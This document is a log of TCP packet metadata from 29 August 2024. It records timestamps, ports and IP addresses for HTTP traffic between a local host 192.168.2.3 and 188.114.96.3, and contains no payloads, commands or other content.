Aug 29, 2024 12:14:39.433662891 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.433672905 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.433686972 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.433711052 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.433717966 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.433729887 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.433741093 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.433743000 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.433756113 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.433759928 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.433783054 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.433809042 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.433875084 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.433886051 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.433911085 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.433928967 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.434032917 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.434043884 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.434053898 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.434065104 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.434076071 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.434087038 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.434089899 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.434098005 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.434108973 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.434113026 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.434120893 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.434133053 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.434144020 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.434151888 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.434159040 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.434163094 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.434180975 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.434206963 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.434360027 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.434370995 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.434381962 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.434392929 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.434405088 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.434407949 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.434416056 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.434427977 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.434432030 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.434448004 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.434464931 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.450445890 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.450476885 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.450489044 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.450547934 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.450570107 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.450619936 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.450634003 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.450642109 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.450651884 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.450671911 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.450690031 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.450726986 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.450737953 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.450747967 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.450759888 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.450766087 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.450773954 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.450786114 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.450794935 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.450799942 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.450810909 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.450820923 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.450830936 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.450835943 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.450845003 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.450855970 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.450860977 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.450876951 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.450898886 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.450959921 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.450969934 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.450980902 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.450992107 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.451003075 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.451005936 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.451025963 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.451041937 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.451092958 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.451105118 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.451114893 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.451131105 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.451154947 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.451174974 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.451185942 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.451195002 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.451211929 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.451232910 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.451319933 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.451330900 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.451339960 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.451351881 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.451359987 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.451363087 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.451375008 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.451386929 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.451389074 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.451402903 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.451427937 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.451543093 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.451553106 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.451562881 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.451575041 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.451581955 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.451586008 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.451596022 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.451598883 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.451611042 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.451617002 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.451622963 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.451646090 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.451663017 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.451922894 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.451932907 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.451942921 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.451955080 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.451963902 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.451973915 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.451986074 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.451992035 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.452008009 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.452029943 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.523010015 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.523031950 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.523049116 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.523070097 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.523087978 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.523099899 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.523111105 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.523123026 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.523134947 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.523147106 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.523158073 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.523169041 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.523181915 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.523183107 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.523195982 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.523228884 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.523243904 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.523252010 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.523257017 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.523276091 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.523277044 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.523291111 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.523289919 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.523303986 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.523308039 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.523315907 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.523322105 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.523329020 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.523338079 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.523354053 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.523365974 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.523762941 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.523782969 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.523798943 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.523798943 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.523814917 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.523833036 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.523854971 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.523890018 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.523996115 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.524008036 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.524019957 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.524029016 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.524033070 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.524043083 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.524061918 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.524107933 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.524120092 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.524132013 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.524138927 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.524168015 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.524173975 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.524185896 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.524205923 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.524230957 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.524235964 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.524247885 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.524266958 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.524281025 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.524395943 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.524408102 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.524418116 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.524434090 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.524436951 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.524451017 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.524461985 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.524462938 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.524476051 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.524487019 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.524502039 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.524509907 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.524533033 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.524534941 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.524547100 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.524559021 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.524565935 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.524586916 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.524596930 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.524693012 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.524704933 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.524715900 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.524728060 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.524727106 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.524739981 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.524744034 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.524754047 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.524760962 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.524766922 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.524780989 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.524805069 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.524821997 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.524853945 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.524966955 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.524979115 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.524990082 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.525001049 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.525002956 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.525013924 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.525017023 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.525027990 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.525032997 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.525043011 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.525054932 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.525063992 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.525067091 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.525082111 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.525094032 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.541708946 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.541740894 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.541754007 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.541765928 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.541789055 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.541800022 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.541810989 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.541824102 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.541829109 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.541836977 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.541851044 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.541862965 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.541879892 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.541898966 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.541907072 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.541918993 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.541929007 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.541944027 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.541968107 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.542067051 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.542079926 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.542092085 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.542108059 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.542112112 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.542125940 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.542131901 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.542143106 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.542149067 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.542160034 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.542162895 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.542179108 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.542188883 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.542193890 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.542201996 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.542215109 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.542227983 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.542239904 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.542254925 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.542289972 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.542300940 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.542313099 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.542325020 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.542327881 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.542339087 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.542351961 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.542352915 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.542375088 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.542395115 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.542490959 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.542503119 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.542514086 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.542526007 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.542531967 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.542536974 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.542557955 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.542577982 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.542642117 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.542654037 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.542665005 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.542682886 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.542690992 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.542702913 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.542706013 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.542716026 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.542726040 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.542732954 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.542737007 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.542748928 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.542754889 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.542763948 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.542768955 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.542776108 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.542783976 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.542790890 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.542798996 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.542804003 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.542814970 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.542828083 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.542845011 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.543008089 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.543024063 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.543036938 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.543045044 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.543061972 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.543072939 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.613799095 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.613823891 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.613837004 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.613848925 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.613861084 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.613873005 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.613887072 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.613940001 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.613972902 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.613984108 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.613990068 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.614005089 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.614003897 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:39.614022970 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:39.614032984 CEST	62660	80	192.168.2.3	188.114.96.3
